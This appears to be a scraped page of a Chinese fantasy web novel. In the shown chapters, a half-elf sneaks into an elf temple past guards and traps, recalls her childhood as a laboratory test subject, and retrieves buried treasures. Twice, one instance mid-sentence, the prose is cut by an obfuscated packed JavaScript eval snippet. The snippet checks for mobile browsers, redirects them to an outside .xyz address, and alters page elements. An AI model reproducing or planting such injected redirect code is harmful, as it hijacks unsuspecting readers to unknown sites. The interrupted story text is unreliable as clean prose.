黑影气息几近于无,融于风中,随风穿过街道,穿过树屋和店铺,经过谈笑的商户和酷爱在深夜活动的精灵,掠过守卫者们的头顶,没有惊动任何生灵,也没有惊动任何检测装置和探测法阵。 淡蓝色薄膜荡起水波纹似的涟漪,黑影轻而易举地穿过了这层能隔绝大部分不怀好意的窥探者的保护罩,来到了重重看守的神殿。 神殿整体为暗绿色和棕色,地面是由整块难以开采的白晶石铺就,笔直的圆柱撑起顶部,暗绿色圆顶爬满藤蔓和不知名的白色小花,显得颇有野趣。 密密麻麻的藤蔓从顶部垂下,蜿蜒缠绕在圆柱表面,白色圆柱布满繁复的绿色和棕色彩绘,上面有参天巨树和其下渺小的精灵,彰显精灵族对母树,对自然的崇拜敬慕。 其实若不看圆柱上的彩绘,只看整体,神殿不像是一座神殿。 只像一座精灵风格的,普普通通的大屋子。 藤蔓可以肆意攀爬,花朵可以自由生长。 它没有其他神明的神殿华美精致,没有昂贵珍惜的材料堆砌,没有富丽堂皇的装饰,没有高高在上不近人情的冰冷,也没有沉默庄重的信徒。 它极其高耸,却不显得空旷,野草丛生,却不显得荒芜潦草。 它立在这里,就好像融入了自然,心底油然而生一股亲切之情,却又有着和自然一样不可侵犯的肃穆。 就像一位威严的母亲。 神殿门前有两棵枯萎的树,枯藤虬结交错蜿蜒而上,树顶的枝干紧紧纠缠,形成一道天然的拱桥,好像是它衰老的守卫。 树下有几位精灵笔挺地站着,他们面无表情,身姿挺立,一动不动,气息深不可测,绿哞沉静冰冷。 黑影在离他们五米之处停了下来,在心里沟通,[碎星,我的遗产真的在神殿里吗,我记得之前明明埋在一颗很丑很普通的石头下面,那时候那里只是一块荒地,现在怎么都成神殿了……] 碎星再次仔仔细细感受一番,在契约空间内甩了下尾巴,肯定道:[没有错的,就在里边。]它思考一番,回答道:[危危埋的时侯是不是神殿还没建成啊,所以这里本来就是我们先到,真是的,先来后到懂不懂啊!那群精灵才是后来者!危危我们冲!拿回属于我们的一切!] 冲什么冲,池危扶额。 这几个守卫的实力算得上是精灵族内的顶尖高手了,和她此刻的位阶都差不多,加上星云鲸,五对二,结果一目了然,她俩会被这样那样然后被扭成麻花一起完蛋。 强闯肯定是不行的,不过谁叫她现在的马甲也不是属于蛮干类型的呢,实力再强也有弱点,布莱尔最擅长的可不是打架啊。 夜晚的风带着丝丝凉意拂过脸庞,带起几缕长发,像是一只温柔手,轻轻蹭过脸颊,令人昏昏欲睡。 “嗡嗡嗡。” “啪。” 蚊子?哪来的蚊子? 守卫长不经意间放松心神,被吸引了注意。 她先是感到疑惑,之后又升起怀疑,毕竟神殿四周布置了一个大型法阵,将神殿方圆十里严丝合缝地保护起来,平日里连只鸟都飞不进来,更何况是小小的蚊子,想到这,她心下警惕起来,思来想去觉得事出反常必有妖,神殿乃是精灵族重地,马虎不得,万一真有有贼人混进来意图不轨可就来不及了,于是她当即决定提醒轮班的同事。 “好像有东西过来,大家都醒醒神,别睡了。” 闻言,其他守卫像是从冷硬的石像,一下子变成活物,丝滑切换,僵直的面部表情灵动起来,纷纷眨眨眼,身体也不紧绷了,开始左看右看,下意识找寻她口中的活物,“唔,在哪里,我怎么没看见,什么东西过来啦?” 守卫长全程见证几个手下的变化过程,意识到发生了什么,无语道:“我说你们今天一个个的怎么这么安静,也没打盹,没抱怨,连喘气声都几乎听不见,原来是给自己用了定身术偷懒。” “如此行事,万一真遇上外族想闯进神殿,就你们现在这状态根本反应不过来!” “下次再让我发现有精灵偷懒,这个月的假期就都没了,天天留下来守夜吧!” 守卫长这么一说,犹如天降噩耗,其余守卫眼睛瞪大面色由警惕转为沉痛,暗暗叫屈,不甘地反驳道:“别啊守卫长,这段时间主星都完全封锁了,哪会有不怀好心的外族人?” “况且,神殿里啥都没有,只有几位闭关的长老,就算偷偷溜了进去也没用啊!难道要和长老们大眼瞪小眼吗?” 守卫长一边分神细细探查了一遍周围的情况,确定没有异样,才强行按下心底隐隐的不安之感。 安慰自己,也许那只蚊子只是意外吧,也许是她感觉错了。 虽然异样的感觉依旧没有消失,但没有任何证据表明有外族入侵,只能暂时放弃,否则这种情况继续纠缠只会浪费时间,浪费心神,若是真有情况恐怕真的反应不过来了。 她一边思索,一边不留情地回道:“事关精灵族的安危,守卫神殿不容半分闪失,今日之事是你们做错了,回去受罚,扣半个月薪资。” 此话一出,其他试图装傻充愣蒙混过关的精灵知道这次惩罚逃不过了,便也乖乖应下,他们自己也知道犯了错,只是长时间的无事发生让他们怠惰下来,抱了侥幸心理,这才商量着偷次懒,没想到第一次就被抓了个正着。 不过好在只是虚惊一场…… 虚惊一场? 在守卫们的眼中他们还在警惕地站岗,可在布莱尔的眼中,从那只蚊子开始,所有人都中了她的幻术。 以声音为锚点,五个守卫整整齐齐地被拉入幻境中,待她解除魔法后,他们也不会察觉到任何异样,大脑只会记住并自动合理化幻境中发生的一切,甚至如果他们彼此对账也不会出错,因为这是一个集体环境,或者说是一场集体白日梦。 总之哪怕是天生精神坚韧的精灵族,也难以挣脱她的魔法! 倏地,一阵轻风拂过,带起了精灵守卫的一缕发丝,悄然无声地掠过。 转瞬间,布莱尔便经过前厅出现在了主殿。 神殿内部很宽敞,主殿是精致古典的浮雕布满墙壁和四根柱子,镶嵌着各色晶石,大殿中间是一株玉质的树,与精灵母树有五分相似,只是缩小许多。 布莱尔感受着风带来的讯息,主殿没有什么特别的,而偏殿则存在三股强大的气息,在她的眼中,一团浓绿,一团水蓝,一团是圣洁的白,这三团力量都隐隐透着熟悉之感,但时间过去太久,她已经记不清为什么感到熟悉了,大概是以前认识的熟人吧。 不过她认识的人真的很多,记不清了,她也不为难自己,想不到就算了。 布莱尔晃晃脑袋,跟着碎星的指引走过长廊,经过长廊上密密麻麻的阅览室和休息室,走上旋转楼梯,来到二楼。 二楼的房间不多,墙上铺着棕色的毛绒墙纸,只有五间房,是专门用来给长老闭关清修的房间,内部备有珍贵的修炼资源。 碎星带着她来到一处暗金色的门前,门上雕着兰草装饰的浮雕,碎星喷了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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池危喝了一瓶自制的敛息药水,施展隐身魔法,静音魔法以及幻术魔法,才小心翼翼地推开门。 屋内悄无声息,一片黑暗,只有几只幽蓝的蝴蝶在空中划出优美的弧线。 哇哦,是幽冥蝶,美丽是美丽,但剧毒,而且洒下的磷粉会让人显形,磷粉弥漫地到处都是,所以闯入者如果毫无准备地进去,只要一露面就会中招,可惜这招对一直小心谨慎的她没用! 布莱尔摇摇头,足尖一点,一阵波纹荡开,转瞬间就移到了几米开外。 不过见过先前的开门杀她也提高了警惕,没想到这屋子的主人这么谨慎,殿前有守卫,屋内有陷阱,看这架势是一点风险也不想冒,性格也狠辣得紧,一定要让闯入者有来无回啊。 接下来,果不其然,又经过了三个幻阵,五个传送,四次下毒和两次爆破后布莱尔依旧毫发无损,但她身心俱疲。 这什么玩意儿?这么多陷阱,您老也谨慎得过头了吧。 她不记得自己有认识这么谨慎(苟)的人啊,她今天话撂这了,反正不管是谁,就算是母树亲至,也别想让她放过这房子的主人! 什么熟人?她池危不认识! 布莱尔在心里骂骂咧咧,坏水咕嘟咕嘟往外冒。 放在三千年前谁不知道她布莱尔超记仇!从幼崽开始,别的崽被超凶长老吓哭的时候她就敢剪长老的头发(不小心),烧同学的头发(手误),拿母树荡秋千(哄她开心),长大后更是和她的好基友到处搜刮搞破坏,把之前欺负她的仇人挫骨扬灰,到一城毁灭一城(谣言),所到之处堪称人嫌狗憎,爱她的爱得不得了,恨她的恨得咬牙切齿,但都拿她没!办!法!(骄傲摊手) 这一切和她的好基友、自家母树以及狂热粉丝一点关系都没有!全是因为她布莱尔实力强悍,而且超记仇! 想起从前的快乐时光,池危的嘴角悄悄翘了起来。 16.过往 池危走过一处处陷阱,闯过一座座机关,回首身后,发现自己距离大门竟然只有五米远。 …… 她已经不想说什么了。 布莱尔看了眼身后又转过身观察身前。 身后一片黑暗,只有荧光蓝蝶纷飞,身前则被水晶灯晕出乳白色的光圈,以她为分界点,光暗分明。 就好像从现在开始,她才真正踏入这间房。 池危沉下心,右肩碎星漂浮其上,小心地随风跃进光中。 短暂适应后,她睁开眼,心中微讶。 眼前的一切十分熟悉,就算她再怎么记性不好,也不至于忘记自己长居五十年不挪窝的住所,而这里,俨然和她曾经在精灵族居住的地方几乎一模一样! 雕刻月光花和圣灵蝶的木质桌椅摆在中央,头顶吊着枯藤编织的灯具,中间装了一颗闪着淡黄色光的珠子,棕红木质地板无一丝杂色,墙壁上挂着翠藤窗帘半掩窗户。 随着这熟悉的景象映入眼中,那段深身为半精灵布莱尔的回忆从模糊的记忆之海中涌现。 曾经的布莱尔,哦,不,那时候叫做001,刚刚拼尽全力,从令人作呕的出生地爬出来。 她身上一半的血带给她无尽的痛苦和折磨,每天注入冰冷的药剂,忍受药物发作的瘙痒疼痛,无知无觉地活着。 她为什么会经历这一切呢? 这个世界就是这样吗? 她隐隐感觉到不对,但又说不出哪里不对,因为自她诞生以来,就是在这狭小的、昏暗的地下,好像这就是她全部的世界了。 “老师们”经常提到她身上一半的血液如何如何。 所以她有时候会想流着与她相同的一半血液的“人”,应该是她的同族吧,也和她有一样的经历吗? ta们会怎么对她呢? 001是同期的实验品中唯一成功的样本,老师们对她有不少优待,对她的同期也饱含期待,只是这点微弱的期待也在一次次的失败中泯灭了。 只是001的同期到底特殊一些,比其他耗材一样的试验品活得更久。 依稀记得那与她同一批长大的幼童,随着年龄的增长,他们从稚嫩渐渐成熟,从歇斯底里的咒骂哭喊变成一言不发的麻木,从挣扎到认命。 曾经的她不理解这些孩童为何要拼命逃跑,明明只要老实待着,乖乖听话,就能好好活着,虽然痛了点,但是能填饱肚子,如果表现得好,“老师”就会奖励她甜甜的糖果,还有人陪她做游戏。 可当她如此问了,却会得到燃烧着仇恨和愤怒的眼神,这些孩子会像咒骂“老师”一样咒骂她“走狗”“软骨头”“和那些畜生是一伙的!”之类的。 偶尔,也会得到几个怜悯的眼神。 那些同伴一次又一次逃跑,即使被抓到后是加大的药量,是紧闭和惩罚,他们却飞蛾扑火一般逃了无数次。 但出逃从未成功过,一旦被抓到试图逃跑,等待他们的便是更痛的药剂,总有人承受不住骤然加大的药量,熬不过黑暗与饥饿,等她再次看到他们的时候,往往发现他们已经变成冷冰冰的尸体了。 但他们依旧乐此不疲。 同期的孩子不断减少,又不断有新人补充进来,熟悉的面孔渐渐消失,陌生的面孔渐渐增加,相同的编号换了不同的人。 她觉得心里被划了一道口子,不然为什么每次看到又一个孩子消失后,她的心里有种隐隐的疼痛,不是疼得人满地打滚的疼痛,是那种轻轻浅浅,绵绵密密的钝痛。 也许他们不知道,她记得每个人的脸和名字,虽然是编号。 直到编号已经换了三轮。 直到她的一百个同期只剩下最后一个,001终于忍不住了。 这个孩子的头发是稀疏的黯淡金发,皮肤是不见光的苍白,脸上还有几颗小痣,和其他孩子没什么不同,相貌普普通通,身材瘦小,孩子们十个有九个都是这样,但布莱尔就是记得她。 她有一双很漂亮的眼睛,金色的,像是夜晚“老师们”刚点上油灯时冒出的火苗,亮晶晶的,她特别喜欢。 001注意到,这天,同期剩下唯二的两个孩子死了一个,是个红头发的小男孩,但这个孩子好像没有之前同伴死去时那样痛哭流涕。 老师抬走他时,她的神情很平静,只是眼睛里一直亮晶晶摇晃的火苗不再跳动了。 布莱尔有些好奇,也有点莫名难过,内心的冲动驱使她走到女孩的身边坐下。 “你看起来一点也不伤心,可是你的心告诉我,你在流泪。”布莱尔说着也抚上自己的胸口,皱着眉头,“真奇怪,为什么我的心也在流泪呢?” 从一开始就一动不动,像石膏似的孩子终于颤颤眼睫,转过头,用一种001看不懂的神情望着她: “因为我们都在为同类的死亡,为了生命的消逝而难过。” 同类?布莱尔摸摸自己的尖耳朵,又看了一眼她圆圆的短耳朵,心里知道其实她与其他人都不是同类,只是长得有点像,这种相像让她觉得有些亲近。 也许她的另一半血液的同族就是他们吧。 但她清楚,自己没有真正意义上的同类,这是“老师”不经意间说漏嘴的秘密。 同类的死亡,生命的消逝?布莱尔再次在心中重复一遍,反复咀嚼着,品味着,生出一种莫名的哀伤。 “我想你说的是对的。”布莱尔点点头。 虽然她没有同类,但她确实不喜欢鲜活的生命变成一具冰冷僵硬的尸体,然后被“老师”像拖麻袋一样拖走,那让她感到很不舒服。 无论是僵硬的肉块还是拖拽时留在地上的长长的血痕。 “那你们为什么这么想离开这里呢?这里有什么不好吗?” “如果你们不想着逃跑的话,就不会有这么多人死了。” 这是布莱尔一直无法理解的东西,她不喜欢看见人死掉,于是每次有新的孩子送进来她都会劝告他们,但他们却歇斯底里地哭喊,发泄,渐渐地,她不再劝告。 一批又一批孩子被送进来又送出去,比老师手底的小白鼠换得还迅速,每次她刚刚才和搭上话,第二天就不见了踪影。 渐渐地,她也不想再认识新的孩子,只是把他们记在心里,并且默默给每个孩子做标注。 这个是红头发013,那个是蓝眼睛054,这个是爱笑的065,那个是安静的004…… 但在所有的孩子中,她印象最深刻,也最喜欢的就是这个孩子。 她觉得这个孩子很特别,和其他人都不一样,和她的同期也不一样,她不会用那种仇视的眼神看她,也不会怜悯她,作为组织同期逃跑的地下领袖,还会告诉她的伙伴们不要骂她。 金色眼睛的小孩很安静,听完她的问题后,用一种轻轻的,像是叹气的声音说道:“因为我们想要自由,想要尊严,我们是有智慧的生命,不能像砧板上的肉一样任人宰割,也不想像笼子里折了翼的飞鸟。” “更何况,我们都不属于这里,我们有自己的父母亲人,有自己的家,我们想要回家。” “为了这些哪怕是死也愿意?” “哪怕是死也愿意。”小孩依旧呆呆地坐着,可布莱尔觉得她哭得更厉害了。 可能是她口中的自由,尊严,或者家吧。 这三样东西又是她不知道的,但家这个词在老师口中出现过,每次临近夜晚时,老师们检查完她的房间是否锁好,就会一起讨论“回家后要洗个热水澡,然后用黄油煎一个香喷喷的面包夹培根,还要和自己的亲人拥抱,最后在暖和柔软的被窝里睡去”。 每次说这种话时,声音里都洋溢着幸福,所以她想,家一定是一个很好的词,所以他们都这么想回家。 只是她从出生就在这里,哪都没去过,所以这里应该就是她的家了,虽然并没有感觉到很幸福,很想留在这里,可真让她离开,她连去哪都不知道。 当她把这个想法和小孩说了以后,小孩的金色眼睛亮了一点,但和之前的不一样,盯着她的眼神让她的脑袋越来越低,越来越低,不敢回望过去。 “你也许是一只精灵。”小孩看了一眼布莱尔的尖耳朵和绿眼睛,做出结论。 “可以去幻月森林。精灵都是很漂亮,很友善的,对同族非常好,如果你有机会离开这里,可以去那里看看,如果不喜欢也可以去别的地方。” 接下来小孩似乎精神了不少,和她讲外面的世界,讲绿色的草地和树木,将风吹过时的舒适凉爽,讲香香的花朵和甜甜的果子,讲翩翩起舞的小蝴蝶,讲……她的亲人和朋友。 讲了很多很多,布莱尔被她所描绘的一切深深地吸引住了,越听越入迷,丰富的想象力将她带离了这个单调无聊的实验室,来到那个鲜活有趣的世界。 渐渐地,小孩的声音越来越小,几近于无,连布莱尔都难以听清。随着小孩声音的停止,布莱尔骤然间从幻想的世界中脱离,忍不住催了催小孩,“还有呢,还有什么吗?你后来又去了哪里啊?” 但小孩依旧不回答,布莱尔发现了不对,隐隐有不好 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布莱尔抱着玛琪静坐了一会儿,垂着眼睛,不知想了些什么,而后摇响腰间挂着的铃铛,几个穿着褐色工作服的“老师”便走了进来,她阐述了自己的需求,希望他们能将玛琪好好安葬。 她知道,老师们一向不会拒绝自己不过分的请求。 玛琪早在被抓来时身上的东西就已经被销毁了,不可能留下来,浑身上下全是实验室的东西,001也懒得留下什么作纪念,因为在她心里,玛琪没有死亡,她一直都存在。 她固执地认为,只要一个人被谁记在心里,就不会真正消失,而她会永远记住这里的每一个孩子,记住小玛琪。 在玛琪走后,这间屋子又恢复了往日的安静,过了不久,又送进来一批新的孩子。 布莱尔有自己单独的房间,但她更喜欢和其他人待在一起,孩子们不被允许离开自己的房间,但布莱尔可以随意走动,只要不想着逃走就行。 之后啊……池危想了想。 之后因为一场意外,这个地下实验室被摧毁了,她也趁乱逃了出去,跌跌撞撞跑到了精灵族,精灵族没有认为她是个异类,很友好地接纳了她这个所谓的半精灵。 现在想来,也许是因为她确实和精灵长得很像,除了那短了半截的尖耳朵。 她被当时的三长老留在身边教导看护,住在三长老的树屋里,树屋的几个房间装修都一样,她住进去后也没做什么改动,差不多就是原样。 所以,这里主人的身份就显而易见了。 只是不知道从前的三长老如今是什么职位。 池危从回忆中脱离,捂住脸,不想面对现实。 兜兜转转,她还是没有逃离梅洛的魔爪啊! 她当初不告而别的时候有多么潇洒,此时此刻就有多么狼狈,她甚至能想象到那个精灵见到她完好无损地回来时似笑非笑的眼神和危险的语气。 “哟,这不是大陆传奇,史上第一吟游诗人,‘曙光颂者’,‘永续的第七和弦’伟大的布莱尔小姐吗,还知道回来啊。” 一想到这个语气她就下意识浑身难受啊,因为每当梅洛气到极致就会用这种阴阳怪气的语气说话,而梅洛一旦生气就会开始整人,梅洛整人的手段软硬都来,狠辣绝情,让人不管是身体还是心灵都会被狠狠摧残,真的很可怕! 都形成条件反射了。 池危甩甩头,将这个晦气的画面甩了出去,暗暗发誓她绝不会掉马甲的! 事实上,虽然系统的奖励能让她使用之前的马甲,长相一样,但她灵魂的气息却是与之前不大一样的,切换马甲后,大概是40%马甲混合60%池危。 池危的灵魂经过一次又次的轮回,被轮回被转世被许许多多新的经历重新塑造了无数次,若是她本人在这,估计再灵敏的感知也很难从那无比复杂难辨的气息中找到那曾经。 所以池危认为,自己不是布莱尔,不是勇者,不是自然之神,不是曾经任何一位转世,即使切换了马甲,那也只是马甲。 她是池危。 灵魂气息已经完全改变,这对于只靠气息认人的幻想种族迷惑性很强,如果有熟人非要说她和之前长得一样,她也可以狡辩只是巧合,自己喝了换颜药水随便捏了张脸,如果你非要强词夺理那她也没办法。 怪只怪之前懒得遮掩,手上换颜药水太少,时效不够,与其用完后现出原形还不如直接用马甲的脸,反正没几个人认得,她也不觉得布莱尔有什么见不得人的。 现在被这场景一激,想起了之前欠下的债,池危才后知后觉得意识到,自己到底有多见不得光。 17.遗产 一通杞人忧天后,布莱尔的思绪回到现实,她决定不要为还没发生的事担忧,现在最要紧的是拿到她之前埋下的东西。 碎星嗡嗡嗡地表示池危之前描述的东西距离她已经很近了,不到十米,就在前面,再走几步就到了。 眼见胜利就在眼前,秉持着“来都来了”的想法,哪怕之后可能会带来许多麻烦,布莱尔只能硬着头皮往前走。 走过长廊,穿过储物室,布莱尔来到了修炼室的核心地带,修炼室中间是一只巨大的白色光茧,呼吸一般有规律地收缩,显示出别样的活力。 光茧底部的地面长满密密麻麻的奇花异草,闪烁着不同颜色的幽幽亮光,随着光茧收缩的规律一同摇摆。 布莱尔知道,光茧里面就是梅洛。 但她没有时间感慨,她的幻术困不了守卫多久,便立即从空间钮中取出自制的镐头在离光茧不远处的空地开始挖。 那处地方的花草格外茂密,长势极佳,约摸有半人高,浓密程度大概是连个下脚地都没有,间距不足指甲盖大小。 事实上,只要看这个疯长的架势,都不用探查,就知道地下一定有富含生机的宝物了。 是的,布莱尔曾经随手一埋的地方十分不幸地成为神殿的中心地带,躺在实力高超的长老身下,她过五关斩六将而来,现在要把上面的花草揪掉,顺便收了,地板撬了,再挖个坑。 “邦邦邦——” 布莱尔努力挖了老半天,用力抹了一把并不存在的汗,内心感慨:可以看出神殿并没有偷工减料,地板都是用质地坚硬的白晶石砌成,真难挖啊! 但这对于布莱尔来说只是多费了一些时间,顶多有点枯燥。 此时此刻,在布莱尔的不懈努力下,原本光洁整齐的地板破了个大洞,洁白的白晶石蒙上灰扑扑的棕色尘土,活像被谁糟蹋过似的,大洞的旁边还堆了个尖尖的土堆,显得颇为狼狈。 这场景要是被当初的建筑师看见,估计要指着她的鼻子破口大骂了。 “哈,终于找到了!”布莱尔举着手里拳头大小的自然之晶和“归零”药剂,甚是欣慰。 自然之晶是自然之神的神力结晶,翠绿色,具有极其旺盛的生命力,只要一小块,即使是半神级强者,只要不死就能瞬间回归身体巅峰时期。 在如今这个自然沉眠的时代,自然之晶早已绝迹,或者被某些家族当成救命神药藏得死死的,市面上连指甲盖大小的都少见,去更别说是拳头大小了。 而“归零”药剂则是她个人独创的药剂,功效极其霸道,就是让服用之人体内不属于本源的力量和杂质全部剔除,回归最原始的状态。 因此又叫“你妈妈就是你妈妈。”这个名字被药剂师协会强烈反对,布莱尔在会长的武力胁迫下含泪改名为“归零”药剂。 “归零”的材料十分珍贵而且难以集齐,炼药过程也很麻烦,因此,布莱尔把这俩一起埋起来作为自己的遗产留给下一个自己。 只是……怎么好像少了点什么? 她记得当初埋得是三个啊! 晶石,药剂,还有一张弓。 布莱尔呆住了。 所以,她的弓箭呢?她漂漂亮亮,乖乖巧巧的翡翠流月呢! 谁啊,这么缺德,连老人家的遗产都偷! 她还以为埋在精灵族这么个路不拾遗的地方,还设置了封印和防盗法阵就没人会觊觎她的遗产…… 晶石被封印,没有泄露气息和波动,看起来就是个漂亮石头。药剂是三无产品,还不知道埋了多久,在一般人眼里大概扔在路边都懒得拿。 而她的小月亮,明明也是被封印了啊,甚至它作为奇物已经认主后无法被任何人使用,按理说别人拿到手里都没有用,怎么会…… 坏了。 布莱尔面色沉痛。 她算到了一切唯独没有算到小月亮虽然看起来没有魔力,但是它太漂亮了,以至于就算看起来没用也没被放过。 布莱尔恨恨地抹了把脸,内心联系系统:[系统,抽卡能抽到我的翡翠流月弓吗?] 系统先呜了两声,以表示自己终于不再被屏蔽的欣喜,接着无情戳破自家宿主的幻想: [抱歉,不能哦,宿主,咱们抽卡的奖励都是从时间长河或者其他犄角旮旯里捞出来的,失落的物品,您的翡翠流月弓只是被偷了,没被损毁也没遗失,和主世界交汇地太深了呢,所以没法抽。] 布莱尔呵呵两声,“还说你和那群神没关系,要不然我的身体哪来的,现在装都不装了?” [这边听不懂呢亲亲,哎呀,信号不太好,系统就先下喽。] 滚吧,没用的东西。 池危用完就丢,见从系统这捞不着好处,就再次屏蔽了。 唉,只能等结束之后,找机会做个寻物工具找小月亮了。 布莱尔长叹一声。 她的遗产原本被埋在母星,但随着所有种族的转移,母星被毁,化身勇者的某人将之前的遗产换了个位置,在造访精灵族时重新埋了起来,等待有需要的某一世自己使用。 她本来以为很快就能用到,所以防盗阵法设置的能量就不太够,应该是最后直接失效才被不知名的路人捡漏。 布莱尔收好东西,跺跺脚,脚下浮现一个巨大的复原法阵,于是眨眼间,时间倒流,散落的泥土倒飞过来重新夯实,地板飞回原位,和同事又贴得亲亲密密,挤挤挨挨。 一瞬间,恢复了原来的洁白平整。 布莱尔满意地点点头,撤掉静音法阵。 事情已经解决,她便准备离开了,但之间已经放下狠话,她布莱尔说到做到,就这么走了,好像有点不甘心啊…… 布莱尔摸摸下巴,望着面前的白色光茧突然眼睛一亮,扯出一丝不怀好意的笑容。 …… 良久过后,空旷寂静的殿内传来一声几不可闻的咔嚓声。 像是试探似的,咔嚓咔嚓接踵而至,像是一首细碎的交响曲。 只见光茧上裂开一条缝,接着像蛛网一般蔓延开,一只修长的手伸了出来。 随着整个身体的探出,光茧化作点点荧光散开。 银发碧眸的精灵踏上地面,银发顺滑飘逸,身姿卓绝,容颜清冷,像是一只孤鹤。 七百年,历经痛苦,挣扎,迷茫,对前途的绝望,到最后勘破规则,她终于突破到了半神级。 碧眸幽幽地望向虚空。 身为精灵族现今的大长老,前任三长老,她能感受到精灵族正面临前所未有的危机,命运相连的精灵母树正在痛苦地哀鸣。 精灵族,危矣。 她眉眼低垂,带着几分悲悯。 接着神情一转,带上霜雪般的凌厉,隐隐透着股嫌弃,新生代的小崽子可真是没用!一代不如一代,这点事都解决不好,还得让他们这些半截入土的老骨头出关擦屁股。 待她出去后定要好好操练操练,给崽子们松松筋骨! 她向前踏出一步,突然像是感受到什么似的迟疑低头,略显僵硬地看向脚下。 无形的魔法紧紧束缚住她的脚,将她牢牢束缚在地面,但没有攻击,而是…… 梅洛感受着脚下黏滑恶心的触感,这触感像是黏答答湿乎乎的史莱姆混和了不明物质,在她脚底翻滚摩擦! 黏腻,湿冷,让人浑身都起鸡皮疙瘩,恨不得立刻把脚拔出来,然后将脚下的东西狠狠搅碎,剁着肉酱,可她用尽全力挣扎却纹丝不动! 足足挣扎了三分钟魔法才失效。 梅洛面色扭曲。 魔法阵刚一失效她便立刻后退一步,挥手毁掉那个恶心的阵法。 然后梅洛意识到了什么,像个生锈的木头一样,一顿一顿地低下头。 是的,她那后退的一脚正好踩中了另一个魔法阵。 这种小法阵不难解决,但确实很恶心,功效千奇百怪,都是各种像之前那样的精神攻击。更别提梅洛扯出后脚前脚又踏入另一个幻阵,一个接一个,苍蝇似的络绎不绝。 而这法阵的数目正好比她闭关前设置的防盗装置多上一个。 这是赤裸裸的报复啊! “呵,呵。”梅洛缓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16266944|181363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 慢地抬起头,脸上显现出一种平静的疯感,她轻声道:“别让我知道是谁干的,否则我定会让你生不如死。”声音柔和地像情人的呢喃。 …… “啊,啊啾!” “布莱尔,你着凉了吗?怎么打喷嚏了?” 布莱尔浑不在意地摸摸鼻子,回答道:“可能是有人在想我吧!唉,没办法,我就是这么一个注定要引起腥风血雨的精灵。” 对面的阿莫店长忍俊不禁,连手下捏饭团的动作都慢了下来。 布莱尔则是手脚不停,将几个瓶子里的酱汁按照一定比例混合起来,留待阿莫店长捏完饭团后取用。 阿莫店长是主城一家早餐店的店长,做的早餐非常符合布莱尔的口味,于是为了能吃到自己喜欢的口味,布莱尔早早就和他套起了近乎。 今天布莱尔办完事回来已经是深夜了,街上只有几家店还开着,在黑暗中散发莹莹暖光。 分别是斯代拉女士的炼金魔药店,阿莫店长的早餐店,以及莉亚的水果店。 布莱尔一路溜溜达达,斯代拉女士虽然开着门,但大部分时间都是待在实验室里研究炼金造物和魔药,很少出门,店里的东西都标了价格,很多时候都是精灵们自助购买。 莉亚就更不用说啦,水果店没啥要帮忙的,一个精灵就能搞定,开着店也不费事,她很喜欢有精灵光顾她的小店。精灵也不是很需要睡眠,这几位都是高阶精灵,睡眠已经不是必需。 被莉亚拒绝后,布莱尔来到了阿莫店长的早餐店,恰好见到店长慢悠悠地捏饭团,于是提出了帮忙,不太会拒绝精灵的店长想了想便同意了。 精灵的数量稀少,所以店长们的工作量也不大,一天中有半天是在发呆休息,但阿莫店长习惯了晚上准备食材,准备完用保鲜魔法保鲜,然后修炼片刻便可以开店了。 布莱尔调了一会酱汁感觉有点无聊,于是把碎星变成小狼掏出来放在一旁逗乐,一边看碎星皱着眉舔毛,一边帮忙把捏好的饭团与酱汁充分捶打,融合。 碎星身上白色绒毛一抖一抖地像个炸毛的蒲公英,放出来后也闲不住,像个真正的小狗一样追着尾巴转圈圈。 “噗嗤——”阿莫店长又笑了,笑出来才发现一精灵一狼都盯着他,他后知后觉地红了脸,淡绿的长发开始发芽,“你,你们别盯着我可以吗……”长耳朵一抖一抖,像是害羞的兔子。 见状,布莱尔和碎星默契地转过头,继续工作(玩耍)。 但最先忍不住搭话的还是阿莫,他可能真的很喜欢碎星的样子,眼睛一直没离开碎星,还假装不经意问道:“布莱尔,这是你的使魔吗?看起来真可爱,毛绒绒的一小团,嗯,而且很活泼呢!” 布莱尔动作不停,扬起一个灿烂的微笑,“是的呀店长,它叫碎星,很可爱吧!对了,店长的使魔是什么样子啊!” 阿莫笑了笑,指着绿发上隐没的嫩芽,“就是这个家伙。”他叹了一口气,“这小家伙总是喜欢待在我的头上,高兴了会抽我,不高兴也抽我,没有你家碎星可爱——” “嘶,疼,牙牙我错了,别抽我了!”阿莫话音刚落,他的使魔便开始表演何为高兴了抽两下,不高兴也抽两下,急得阿莫连忙捂住脑袋卑微讨饶。 布莱尔强压住嘴角,但还是忍不住翘起一点弧度。 这二者的相处模式可真是有趣,可见阿莫店长确实是个脾气软,好欺负的精灵,连辅助性的使魔都能骑在头上作威作福。 要知道使魔都是和魔法师缔结平等契约的,二者一般都是并肩作战的伙伴,地位平等,一方强一方弱也是魔法师指挥使魔,使魔一般是作为助手的身份出现。 不过这也说明了阿莫温柔害羞的性子,池危心想,应该没人会讨厌他吧。 望着这幅友好相处的温馨画面,池危,抬起头,望向夜空眸色愈深,视线仿佛穿越虚空,落在不可知之处。 那种温暖宁静的好心情,被隐藏在暗中的阴谋破坏,池危的心情沉重起来。 所以,像阿莫店长这么可爱的精灵们,到底是谁在祸害他们呢…… 18.梦魇族 翌日,布莱尔上完早课,获得半天的自由活动时间。 她沐浴着阳光伸了个懒腰。 美好的一天从下课开始! 话说,为什么她一大把年纪了还要上课呢? 布莱尔沉思了一会儿。 经历过一段又一段的人生,时间对于她来说是最多的东西,她有大把的时间去研究自己喜爱的感兴趣的一切,也因此她常常显得不急不慢,甚至是悠闲。 